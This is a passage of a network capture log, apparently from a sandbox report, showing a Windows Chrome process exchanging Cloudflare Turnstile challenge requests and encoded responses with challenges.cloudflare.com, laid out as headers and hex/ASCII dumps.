v_901efb0f7f1b5e5f=rV6bA3I9lcVsVs7VIFIcmpt9eksfLsMbIQeh-sVbnG3kXsmbcGeOs23sepbsosB-M8pskvsUVIuvIhQsTsIVIt6$CWnZschim6WcFu39sabFWs9bna$Wn8QshsNpIyU5rIssvZsv7psv2Fqs9yWs3hWeIQ9dTsIDshVpk6ClbsWdsQeb0OWGIaQStdzFZubspQ3dII6DrXbdYcV9%2b6ZsujZhkjiwoKKkHYn16lig1D
2025-01-14 16:25:17 UTC	16001	OUT	Data Raw: 7a 62 49 62 76 70 6e 24 33 6d 73 42 62 71 61 37 62 55 70 74 30 41 7a 73 24 73 6c 62 74 6c 43 47 73 39 62 36 6c 65 5a 73 66 73 5a 6c 73 69 73 6a 62 6e 73 73 57 70 24 62 5a 47 73 6a 73 6d 73 72 47 73 38 67 32 70 76 30 49 7a 62 31 48 57 59 33 24 51 78 73 71 62 6e 43 73 6f 73 39 59 65 47 49 6a 73 75 62 46 47 49 67 73 6d 70 76 56 49 49 73 54 62 46 57 49 64 73 47 70 74 57 49 4e 73 4c 70 46 37 49 4c 73 4d 70 76 57 49 65 73 58 70 6e 37 49 32 73 47 51 74 6d 49 59 73 6d 51 76 6b 49 42 73 58 51 74 39 49 4d 73 4c 51 74 6b 49 2b 73 75 51 6e 39 49 73 62 39 36 6e 33 49 6c 62 45 51 6e 43 49 45 73 54 51 46 75 62 55 73 63 46 49 79 73 35 73 5a 67 65 56 49 36 73 55 78 73 36 73 30 62 33 56 65 65 53 71 4b 63 46 65 55 73 67 70 49 4a 33 5a 49 44 51 33 30 73 46 73 6f 73 74 6b 33 Data Ascii: zbIbvpn$3msBbqa7bUpt0Azs$slbtlCGs9b6leZsfsZlsisjbnssWp$bZGsjsmsrGs8g2pv0Izb1HWY3$QxsqbnCsos9YeGIjsubFGIgsmpvVIIsTbFWIdsGptWINsLpF7ILsMpvWIesXpn7I2sGQtmIYsmQvkIBsXQt9IMsLQtkI+suQn9Isb96n3IlbEQnCIEsTQFubUscFIys5sZgeVI6sUxs6s0b3VeeSqKcFeUsgpIJ3ZIDQ30sFsostk3
2025-01-14 16:25:18 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:18 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26428 Connection: close cf-chl-gen: dM7KugFLcPwz4UoHZdGfZzSW+3DYmmaWHdoXTidQ6nUO5ADWHzj5jRP+3zH4hd1l$uBQxvuQcDtUfmalYOtIwpw== Server: cloudflare CF-RAY: 901efb2fbe190f67-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:18 UTC	1047	IN	Data Raw: 6d 33 75 56 74 59 2b 75 76 72 6d 54 6e 59 4f 33 6c 5a 36 43 74 4c 53 37 78 6f 79 67 6d 61 79 51 70 4a 36 6f 30 71 32 68 31 73 4b 6e 6b 62 6d 7a 33 4e 79 65 31 36 76 68 31 71 2b 63 31 4d 44 63 30 35 32 2b 7a 65 47 72 38 4e 48 70 36 72 48 54 36 39 2f 6b 78 73 37 6a 7a 2b 69 35 37 64 50 42 75 50 76 76 30 67 48 33 32 66 50 6f 36 41 7a 73 2b 41 72 75 45 2b 49 48 7a 65 37 7a 44 64 6a 36 36 39 72 36 45 65 34 54 33 4f 41 45 41 77 49 45 46 67 49 49 39 69 49 63 2f 52 59 58 2f 42 49 6e 49 75 77 47 49 68 51 72 4f 43 34 63 2b 68 73 7a 44 7a 50 35 48 43 45 68 4e 44 49 62 41 6a 35 47 53 7a 59 38 52 55 49 70 43 44 4a 4a 4d 52 55 72 4a 45 70 59 47 55 34 38 55 79 68 62 57 54 73 59 59 44 64 5a 49 32 51 6c 56 6a 56 70 5a 6c 78 68 4c 44 38 2f 62 69 6c 64 58 58 41 77 62 55 52 Data Ascii: m3uVtY+uvrmTnYO3lZ6CtLS7xoygmayQpJ6o0q2h1sKnkbmz3Nye16vh1q+c1MDc052+zeGr8NHp6rHT69/kxs7jz+i57dPBuPvv0gH32fPo6Azs+AruE+IHze7zDdj669r6Ee4T3OAEAwIEFgII9iIc/RYX/BInIuwGIhQrOC4c+hszDzP5HCEhNDIbAj5GSzY8RUIpCDJJMRUrJEpYGU48UyhbWTsYYDdZI2QlVjVpZlxhLD8/bildXXAwbUR
2025-01-14 16:25:18 UTC	1369	IN	Data Raw: 6f 75 63 32 69 77 63 61 72 7a 63 6a 43 6c 39 69 79 78 61 71 6d 75 4a 65 62 32 74 6e 62 6d 73 43 6d 32 37 79 66 36 75 4b 69 6e 2b 33 68 78 4f 48 61 36 71 71 6e 34 63 7a 52 39 4d 33 78 73 76 6e 52 35 2f 66 61 34 39 79 32 2b 76 76 65 36 66 58 56 77 64 6a 65 31 38 45 47 36 76 4c 62 45 65 72 77 7a 39 54 6c 46 64 54 37 48 42 6e 64 2b 39 50 30 32 52 49 56 38 68 72 32 45 78 67 61 4b 66 73 6f 37 75 33 71 45 7a 49 48 4e 41 4c 31 44 44 6b 63 46 43 34 4e 4b 69 48 39 47 51 4d 6a 51 50 30 56 41 79 41 6a 48 67 73 36 48 79 42 4f 42 77 34 67 43 7a 55 79 46 55 41 53 52 6a 51 58 53 7a 4e 50 4c 45 39 43 56 45 55 68 4e 56 5a 53 49 6b 68 45 4b 46 31 61 53 6d 6b 72 59 47 35 63 52 33 56 44 61 58 46 73 57 32 64 59 55 46 68 34 54 32 46 62 57 59 4e 69 56 46 64 79 65 49 5a 58 61 47 Data Ascii: ouc2iwcarzcjCl9iyxaqmuJeb2tnbmsCm27yf6uKin+3hxOHa6qqn4czR9M3xsvnR5/fa49y2+vve6fXVwdje18EG6vLbEerwz9TlFdT7HBnd+9P02RIV8hr2ExgaKfso7u3qEzIHNAL1DDkcFC4NKiH9GQMjQP0VAyAjHgs6HyBOBw4gCzUyFUASRjQXSzNPLE9CVEUhNVZSIkhEKF1aSmkrYG5cR3VDaXFsW2dYUFh4T2FbWYNiVFdyeIZXaG
2025-01-14 16:25:18 UTC	1369	IN	Data Raw: 70 73 61 72 7a 4b 37 4e 7a 63 69 39 30 39 4b 73 6f 5a 32 32 77 74 58 67 76 36 47 6d 34 62 6d 39 79 61 72 6e 71 73 7a 54 76 63 6e 6e 37 4f 66 4a 35 73 6e 52 7a 75 66 4b 36 2f 4b 38 41 67 50 33 41 51 50 79 42 51 54 33 37 4d 6e 47 39 76 6e 49 33 41 7a 51 34 75 62 33 37 65 33 70 38 4f 58 55 33 66 37 57 32 39 67 53 39 2f 72 58 37 67 41 6b 34 52 6b 73 36 51 73 48 49 50 6f 4b 36 52 55 47 44 66 62 76 38 53 4d 47 42 2f 51 59 45 78 50 79 39 30 45 58 42 51 5a 43 41 67 67 5a 4f 44 56 48 52 77 6b 74 49 56 42 51 52 52 41 4d 4c 68 63 6e 45 46 67 57 53 42 51 6f 47 68 6f 67 4e 57 4d 64 51 44 73 37 4b 53 70 5a 58 6a 34 6b 4e 32 4a 63 4d 6d 39 30 58 6b 70 4d 54 55 74 50 61 30 68 64 58 6e 52 79 50 32 4e 34 50 6e 61 41 55 46 42 6b 65 58 6c 65 5a 55 56 47 68 6d 4f 4e 68 46 4a Data Ascii: psarzK7Nzci909KsoZ22wtXgv6Gm4bm9yarnqszTvcnn7OfJ5snRzufK6/K8AgP3AQPyBQT37MnG9vnI3AzQ4ub37e3p8OXU3f7W29gS9/rX7gAk4Rks6QsHIPoK6RUGDfbv8SMGB/QYExPy90EXBQZCAggZODVHRwktIVBQRRAMLhcnEFgWSBQoGhogNWMdQDs7KSpZXj4kN2JcMm90XkpMTUtPa0hdXnRyP2N4PnaAUFBkeXleZUVGhmONhFJ
2025-01-14 16:25:18 UTC	1369	IN	Data Raw: 64 32 37 79 38 32 57 34 4b 79 37 30 64 79 64 77 64 57 36 35 4d 58 5a 76 64 6a 4a 33 63 48 73 7a 65 48 45 31 63 36 75 36 65 50 5a 75 39 6e 57 73 66 50 68 32 63 38 42 39 4e 2b 35 2b 4d 4d 47 77 65 72 48 2b 65 6f 47 7a 4d 6e 78 44 4f 55 4b 43 77 37 32 44 77 38 4a 2f 52 4c 58 43 51 50 61 44 52 59 59 39 68 62 7a 38 79 72 32 43 41 58 74 44 51 6a 71 44 77 4d 4c 48 76 4d 69 4a 44 50 35 4c 53 6f 78 44 68 77 61 4c 79 37 36 45 44 63 79 41 78 5a 45 43 45 62 2b 46 68 63 73 47 53 6b 6e 4d 54 51 78 45 7a 4d 36 4a 31 64 58 4a 54 51 79 4f 46 49 65 54 31 49 58 51 47 51 61 51 56 35 44 61 79 78 6d 5a 43 39 46 51 45 74 30 52 57 35 73 4c 6a 5a 49 55 33 78 50 56 6b 6f 2b 56 49 46 6b 58 48 5a 56 63 6d 6c 47 59 55 74 72 65 32 31 42 62 6c 32 48 6b 32 39 68 69 35 65 46 5a 59 2b 61 Data Ascii: d27y82W4Ky70dydwdW65MXZvdjJ3cHszeHE1c6u6ePZu9nWsfPh2c8B9N+5+MMGwerH+eoGzMnxDOUKCw72Dw8J/RLXCQPaDRYY9hbz8yr2CAXtDQjqDwMLHvMiJDP5LSoxDhwaLy76EDcyAxZECEb+FhcsGSknMTQxEzM6J1dXJTQyOFIeT1IXQGQaQV5DayxmZC9FQEt0RW5sLjZIU3xPVko+VIFkXHZVcmlGYUtre21Bbl2Hk29hi5eFZY+a
2025-01-14 16:25:18 UTC	1369	IN	Data Raw: 7a 65 6f 36 58 68 30 4e 48 49 77 36 62 71 37 4d 76 47 36 38 62 4e 71 2b 61 30 37 76 50 68 38 50 48 76 37 2f 62 50 38 2f 7a 35 2b 72 7a 36 2f 50 54 6f 32 2b 62 70 37 4f 72 47 36 38 62 36 34 51 50 6e 44 75 33 74 44 77 62 73 42 74 4c 59 47 4e 6e 59 48 42 6b 41 2f 68 55 63 44 2b 66 36 45 76 34 4e 47 66 73 4f 42 77 59 54 4a 78 4d 6a 46 69 63 45 4e 6a 6f 76 46 77 73 63 4d 69 6b 7a 49 53 51 44 4d 52 59 35 4f 6a 38 59 46 53 51 48 4a 55 45 67 50 79 73 75 4d 44 51 74 52 6b 5a 51 4d 30 74 4b 56 53 31 50 4f 46 77 77 50 78 74 50 51 46 68 53 5a 45 52 45 53 47 4e 4a 59 57 38 37 52 44 39 42 51 30 5a 42 59 6a 4e 49 52 44 74 75 53 31 74 72 54 46 31 4e 50 33 78 59 59 48 4a 48 58 32 5a 49 56 6d 64 2f 59 49 74 69 58 55 2b 52 5a 49 64 30 67 58 4a 30 68 70 4e 34 6a 6e 78 62 65 Data Ascii: zeo6Xh0NHIw6bq7MvG68bNq+a07vPh8PHv7/bP8/z5+rz6/PTo2+bp7OrG68b64QPnDu3tDwbsBtLYGNnYHBkA/hUcD+f6Ev4NGfsOBwYTJxMjFicENjovFwscMikzISQDMRY5Oj8YFSQHJUEgPysuMDQtRkZQM0tKVS1POFwwPxtPQFhSZERESGNJYW87RD9BQ0ZBYjNIRDtuS1trTF1NP3xYYHJHX2ZIVmd/YItiXU+RZId0gXJ0hpN4jnxbe
2025-01-14 16:25:18 UTC	1369	IN	Data Raw: 36 36 74 33 63 76 4d 66 49 32 37 37 4d 35 64 37 45 35 2b 58 70 78 2b 72 74 74 38 7a 48 36 64 37 68 42 4e 6a 30 37 2b 54 63 41 66 48 6f 35 41 72 68 78 75 7a 74 2b 66 41 50 43 67 44 50 7a 68 6f 44 35 50 67 4c 42 78 45 4f 46 76 50 38 38 78 44 79 38 39 34 47 2b 77 51 71 47 51 54 34 42 42 6b 45 44 69 49 66 41 7a 59 5a 4b 69 49 77 44 54 51 64 48 52 30 31 46 55 51 5a 51 43 38 6c 4a 54 51 79 4b 52 31 4d 4c 6b 38 74 50 7a 74 46 51 6b 6f 6f 4d 53 68 45 4a 79 67 54 4f 6a 41 34 58 6b 30 34 4c 54 68 4e 4f 45 4a 57 55 7a 64 71 54 56 35 57 54 57 4e 6d 52 58 52 4a 63 46 39 56 62 33 42 5a 57 56 56 7a 58 6e 49 2f 64 47 4a 52 51 46 56 58 68 33 70 35 57 57 52 6c 65 46 74 70 67 6e 74 68 68 49 4b 47 5a 49 65 4b 56 47 6c 6b 68 6e 74 2b 57 4a 65 59 6a 46 74 63 6e 49 64 78 5a 36 Data Ascii: 66t3cvMfI277M5d7E5+Xpx+rtt8zH6d7hBNj07+TcAfHo5Arhxuzt+fAPCgDPzhoD5PgLBxEOFvP88xDy894G+wQqGQT4BBkEDiIfAzYZKiIwDTQdHR01FUQZQC8lJTQyKR1MLk8tPztFQkooMShEJygTOjA4Xk04LThNOEJWUzdqTV5WTWNmRXRJcF9Vb3BZWVVzXnI/dGJRQFVXh3p5WWRleFtpgnthhIKGZIeKVGlkhnt+WJeYjFtcnIdxZ6
2025-01-14 16:25:18 UTC	1369	IN	Data Raw: 35 74 76 6d 30 4f 7a 66 72 2b 72 76 34 2b 37 79 36 65 58 79 33 41 48 69 39 76 6f 47 37 64 54 67 41 76 48 43 79 77 58 33 42 4f 51 45 38 76 44 77 44 66 33 50 2b 42 48 34 30 77 38 56 2f 75 7a 34 47 67 6f 42 41 52 73 48 47 79 4d 57 45 67 6b 58 49 51 38 4f 41 53 55 54 45 53 38 72 46 77 54 33 4d 42 73 4a 4b 7a 59 66 2b 42 55 31 4c 44 63 33 50 53 55 41 4f 30 6f 79 4b 55 64 44 4e 67 68 44 52 6a 70 48 53 30 49 2b 4a 55 74 4e 52 45 38 31 55 30 59 5a 4e 56 70 4b 47 79 52 62 54 6a 56 54 58 55 73 35 53 57 4a 50 50 55 6c 70 55 53 78 6a 61 56 35 72 56 58 4a 62 57 56 31 2b 5a 6e 4e 5a 62 6d 70 52 59 58 35 75 51 48 64 39 63 6d 70 68 68 6d 39 48 55 49 5a 36 54 57 57 4b 64 34 74 78 6b 59 53 50 6c 35 31 39 57 4a 4f 54 67 35 65 50 6e 49 35 31 6c 35 36 4c 59 32 79 69 6c 6e 32 Data Ascii: 5tvm0Ozfr+rv4+7y6eXy3AHi9voG7dTgAvHCywX3BOQE8vDwDf3P+BH40w8V/uz4GgoBARsHGyMWEgkXIQ8OASUTES8rFwT3MBsJKzYf+BU1LDc3PSUAO0oyKUdDNghDRjpHS0I+JUtNRE81U0YZNVpKGyRbTjVTXUs5SWJPPUlpUSxjaV5rVXJbWV1+ZnNZbmpRYX5uQHd9cmphhm9HUIZ6TWWKd4txkYSPl519WJOTg5ePnI51l56LY2yiln2
2025-01-14 16:25:18 UTC	1369	IN	Data Raw: 64 50 7a 30 63 61 7a 78 4e 72 5a 76 2f 44 67 42 50 62 63 32 75 4c 44 2b 4f 67 4d 39 75 54 69 36 73 73 42 38 42 54 4c 45 65 72 6a 31 74 67 44 43 77 73 4f 39 50 76 66 47 41 49 56 32 68 73 47 4b 4e 38 57 45 68 38 62 48 51 6b 4a 48 79 49 4a 45 50 4d 73 48 68 55 4a 4a 68 54 7a 39 6a 51 65 51 50 63 75 47 6a 59 68 45 43 45 6c 48 41 41 6e 4a 79 45 69 49 78 77 74 47 7a 4a 48 4a 55 49 74 4e 52 4d 4c 4f 56 77 59 57 54 55 58 48 78 64 4c 56 53 31 53 50 6a 55 6a 59 45 6f 69 4f 56 70 46 50 55 46 65 53 6c 45 77 50 31 55 75 53 58 56 53 4d 7a 78 49 5a 33 42 5a 62 6c 64 52 50 33 78 6d 69 49 64 32 5a 45 52 63 69 57 52 63 57 59 70 74 68 30 2b 4d 64 70 68 78 68 6e 42 6f 5a 5a 5a 35 6b 33 47 4f 65 48 42 74 6e 59 47 62 59 36 43 4b 59 6f 47 61 68 48 78 35 71 59 32 6e 68 61 4b 4d Data Ascii: dPz0cazxNrZv/DgBPbc2uLD+OgM9uTi6ssB8BTLEerj1tgDCwsO9PvfGAIV2hsGKN8WEh8bHQkJHyIJEPMsHhUJJhTz9jQeQPcuGjYhECElHAAnJyEiIxwtGzJHJUItNRMLOVwYWTUXHxdLVS1SPjUjYEoiOVpFPUFeSlEwP1UuSXVSMzxIZ3BZbldRP3xmiId2ZERciWRcWYpth0+MdphxhnBoZZZ5k3GOeHBtnYGbY6CKYoGahHx5qY2nhaKM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	51396	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:18 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:18 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 16:25:18 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: d0gG8MBOfjpWGTWABbIp1eOdwip3H26P7/VQeXY9gusqFKF8hqt3+t+nhKQnalRYOKZ0lm6kw/S5KmFm6MPeTQ==$y2pviHXERikxWaGKzOW57Q== Server: cloudflare CF-RAY: 901efb350f2bf5f7-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:18 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	51397	104.18.94.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:31 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34759 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:31 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 65 66 62 30 66 37 66 31 62 35 65 35 66 3d 72 56 36 62 41 33 49 39 6c 63 56 73 56 73 37 56 49 46 49 63 6d 70 74 39 65 6b 73 66 4c 73 4d 62 49 51 65 68 2d 73 56 62 6e 47 33 6b 58 73 6d 62 63 47 65 4f 73 32 33 73 65 70 62 73 6f 73 42 2d 4d 38 70 73 6b 76 73 55 56 49 75 76 49 68 51 73 54 73 49 56 49 74 36 24 43 57 6e 5a 73 63 68 69 6d 36 57 63 46 75 33 39 73 61 62 46 57 73 39 62 6e 61 24 57 6e 38 51 73 68 73 4e 70 49 79 55 35 72 49 73 73 76 5a 73 76 37 70 73 76 32 46 71 73 39 79 57 73 33 68 57 65 49 51 39 64 54 73 49 44 73 68 56 70 6b 36 43 6c 62 73 57 64 73 51 65 62 30 4f 57 47 49 61 51 53 74 64 7a 46 5a 75 62 73 70 51 33 64 49 49 36 44 72 58 62 64 59 63 56 39 25 32 62 36 5a 73 75 6a 5a 68 6b 6a 69 77 6f 4b 4b 6b 48 59 6e 31 36 6c 69 67 31 44 Data Ascii: v_901efb0f7f1b5e5f=rV6bA3I9lcVsVs7VIFIcmpt9eksfLsMbIQeh-sVbnG3kXsmbcGeOs23sepbsosB-M8pskvsUVIuvIhQsTsIVIt6$CWnZschim6WcFu39sabFWs9bna$Wn8QshsNpIyU5rIssvZsv7psv2Fqs9yWs3hWeIQ9dTsIDshVpk6ClbsWdsQeb0OWGIaQStdzFZubspQ3dII6DrXbdYcV9%2b6ZsujZhkjiwoKKkHYn16lig1D
2025-01-14 16:25:31 UTC	16384	OUT	Data Raw: 7a 62 49 62 76 70 6e 24 33 6d 73 42 62 71 61 37 62 55 70 74 30 41 7a 73 24 73 6c 62 74 6c 43 47 73 39 62 36 6c 65 5a 73 66 73 5a 6c 73 69 73 6a 62 6e 73 73 57 70 24 62 5a 47 73 6a 73 6d 73 72 47 73 38 67 32 70 76 30 49 7a 62 31 48 57 59 33 24 51 78 73 71 62 6e 43 73 6f 73 39 59 65 47 49 6a 73 75 62 46 47 49 67 73 6d 70 76 56 49 49 73 54 62 46 57 49 64 73 47 70 74 57 49 4e 73 4c 70 46 37 49 4c 73 4d 70 76 57 49 65 73 58 70 6e 37 49 32 73 47 51 74 6d 49 59 73 6d 51 76 6b 49 42 73 58 51 74 39 49 4d 73 4c 51 74 6b 49 2b 73 75 51 6e 39 49 73 62 39 36 6e 33 49 6c 62 45 51 6e 43 49 45 73 54 51 46 75 62 55 73 63 46 49 79 73 35 73 5a 67 65 56 49 36 73 55 78 73 36 73 30 62 33 56 65 65 53 71 4b 63 46 65 55 73 67 70 49 4a 33 5a 49 44 51 33 30 73 46 73 6f 73 74 6b 33 Data Ascii: zbIbvpn$3msBbqa7bUpt0Azs$slbtlCGs9b6leZsfsZlsisjbnssWp$bZGsjsmsrGs8g2pv0Izb1HWY3$QxsqbnCsos9YeGIjsubFGIgsmpvVIIsTbFWIdsGptWINsLpF7ILsMpvWIesXpn7I2sGQtmIYsmQvkIBsXQt9IMsLQtkI+suQn9Isb96n3IlbEQnCIEsTQFubUscFIys5sZgeVI6sUxs6s0b3VeeSqKcFeUsgpIJ3ZIDQ30sFsostk3
2025-01-14 16:25:31 UTC	1991	OUT	Data Raw: 6b 4a 4d 4f 74 42 4d 38 4e 7a 32 46 44 62 38 77 44 5a 73 6b 73 44 51 71 36 73 79 73 6a 33 34 36 48 49 73 77 73 49 39 32 57 73 55 51 46 51 57 2b 24 33 51 33 7a 62 52 52 6b 36 72 62 73 44 47 75 45 49 4b 71 77 37 33 39 55 24 65 77 70 76 39 6d 4a 49 44 49 6c 71 4f 39 65 4b 55 67 76 65 51 73 5a 36 77 4c 52 34 48 36 70 77 49 33 2b 73 49 73 36 4a 48 51 57 6f 73 79 6a 54 74 6b 52 49 4a 68 67 6c 65 78 32 6d 70 48 64 52 6c 54 6d 6c 33 70 33 35 4c 77 33 75 33 6e 48 63 59 73 71 43 4e 63 73 79 6e 51 6b 65 43 5a 36 62 71 6d 24 33 44 33 37 41 73 65 58 73 58 73 72 6e 49 49 51 5a 42 2b 4c 46 36 62 6d 63 75 6c 66 67 24 76 4f 6d 68 61 7a 4c 67 53 6a 6b 33 55 54 62 51 4e 48 33 49 66 74 74 2b 46 6f 56 30 4c 51 5a 69 51 61 73 35 73 63 31 56 7a 73 42 35 7a 24 65 79 68 43 56 35 Data Ascii: kJMOtBM8Nz2FDb8wDZsksDQq6sysj346HIswsI92WsUQFQW+$3Q3zbRRk6rbsDGuEIKqw739U$ewpv9mJIDIlqO9eKUgveQsZ6wLR4H6pwI3+sIs6JHQWosyjTtkRIJhglex2mpHdRlTml3p35Lw3u3nHcYsqCNcsynQkeCZ6bqm$3D37AseXsXsrnIIQZB+LF6bmculfg$vOmhazLgSjk3UTbQNH3Iftt+FoV0LQZiQas5sc1VzsB5z$eyhCV5
2025-01-14 16:25:31 UTC	1357	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4700 Connection: close cf-chl-out-s: 4SBQI/C93grL5sZGEA6kqUxdMqp5zG/ulEI0inFz2UpEotAxTJs1bH5CPuXvWi8oB0HXCVTWzXmer2v18lWtXZYOwZrzs08Yjmbl6ngcPc55Tu7PrSvFY8/4hoaOrYoTh9Pji8QSl4qtjwc34MhCJCkgl9cCXITNs95Z0H2JaEC9nhGA6XtAyOfSgOjcPbTXXS2G8h0f+P5wU2Di+Rzbbb0j641//qcR5hJ7AY1ZFYLQ7MeWI2oehwiIbW9vm/LOfjm0Gju/XL4MuaPKaDtMKa/i0FUL6E6ZaVD4KlbKPy62LyyS8/8Jl1l3Jy3HF5g/qsjCzlHcIJAufVA4q2/uxP8jx8E4WLK4Zz8uGE4oxpKy6lBYnrcaxiTTCDjPO9xff+uZE5XCH+o3f9Z/d8Z6ckKvAlwumKI6lkIUITRzlKpE1MLox7m2o6JBrgGJb/l/L2/f9vWGMi4/4dof/fLTTX1RQS0j1L3B2NkM2HsZSF4OSyK0/teqP6+BrLCMnLXoDCBlWFLJygV8wobtxZL4ASbjdNYhNLR+4LlhEHXn4OLzHoy6Hg59hqVc+SnNtlow6pAQzrm2vlhQCFsu7Fr8txJvhg9EYCKBnGYTvD/0ChBHjZnA+4ZKd8gYmI/yKBjryAub4tHIg5i7BjSmBmhDprdxjncBUTfFz6TiDuXaoL1kT4wFDUoDdrj387qM98vs5LIIpZEUcwU5EcjyujoUByvJQB3n7uZ6OgnHmC+WfnUbKn7Ww4Olpr/WhpxehGW/4IzQ+vqDsz6+KGYrMAvoD/rnlFc3WfRI8zg0ftpzcmtwR0dLjy9EPA52/gOCY6S0vGMMQeCpbovfGwP75y/RdwS7Vj1xDP0OGktVuQHo4roBaoqxs72Djw8mvPtPhDz7Lw0a2WV2+epyMroScDZ5WlqXAX8hX80mGIgq0xntf6Yx3tWCMIQdaeefUvW6VRYCDGEfPqMC3NfycLi8raXmWA==$TOx5s83cf5MLY6c62+iChw== cf-chl-out: YNTDxKrAHomvWOn0lA45nXkEZ/m3oTP2HrE30IEXtoggKl7i2ThqToforLv75CrNljd9wphOy98jl8tVJ02pQHOvoWALhzWXFyfAeagMui8=$s355QJBCTeHY65gdb68joA== Server: cloudflare CF-RAY: 901efb823f7643e9-EWR
2025-01-14 16:25:31 UTC	32	IN	Data Raw: 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:31 UTC	1349	IN	Data Raw: 6d 33 75 56 74 59 2b 75 76 72 6d 54 6e 59 4f 33 6c 5a 36 43 74 4c 53 37 68 37 61 67 76 73 4c 46 70 61 7a 42 6a 62 48 52 71 34 75 55 6f 37 75 36 6e 74 75 2f 72 72 50 42 6d 74 58 61 70 75 6a 4a 33 64 58 73 7a 65 53 72 70 73 58 6e 78 66 44 71 35 64 4c 47 36 62 50 52 31 2b 32 32 76 39 76 66 76 67 4c 58 35 4e 2f 77 32 50 6e 70 36 66 66 33 37 74 7a 78 2f 42 4c 38 36 41 62 31 44 41 67 45 2b 78 41 51 2f 66 73 61 2f 68 58 79 46 78 77 63 42 42 77 56 2b 41 73 66 36 41 77 4f 2f 52 49 6e 4d 68 77 56 4a 68 58 77 4e 43 51 6a 43 69 6a 76 48 44 51 77 4f 43 45 33 48 69 52 47 4d 44 4d 36 4b 69 6f 57 4c 54 74 46 45 45 63 6f 51 6c 45 7a 57 45 6b 69 4d 6b 55 56 47 44 38 52 54 54 67 69 54 6c 34 63 52 55 4d 69 57 31 35 72 4c 45 6c 45 4a 32 78 4f 58 55 4e 6d 52 6b 42 4f 51 57 78 Data Ascii: m3uVtY+uvrmTnYO3lZ6CtLS7h7agvsLFpazBjbHRq4uUo7u6ntu/rrPBmtXapujJ3dXszeSrpsXnxfDq5dLG6bPR1+22v9vfvgLX5N/w2Pnp6ff37tzx/BL86Ab1DAgE+xAQ/fsa/hXyFxwcBBwV+Asf6AwO/RInMhwVJhXwNCQjCijvHDQwOCE3HiRGMDM6KioWLTtFEEcoQlEzWEkiMkUVGD8RTTgiTl4cRUMiW15rLElEJ2xOXUNmRkBOQWx
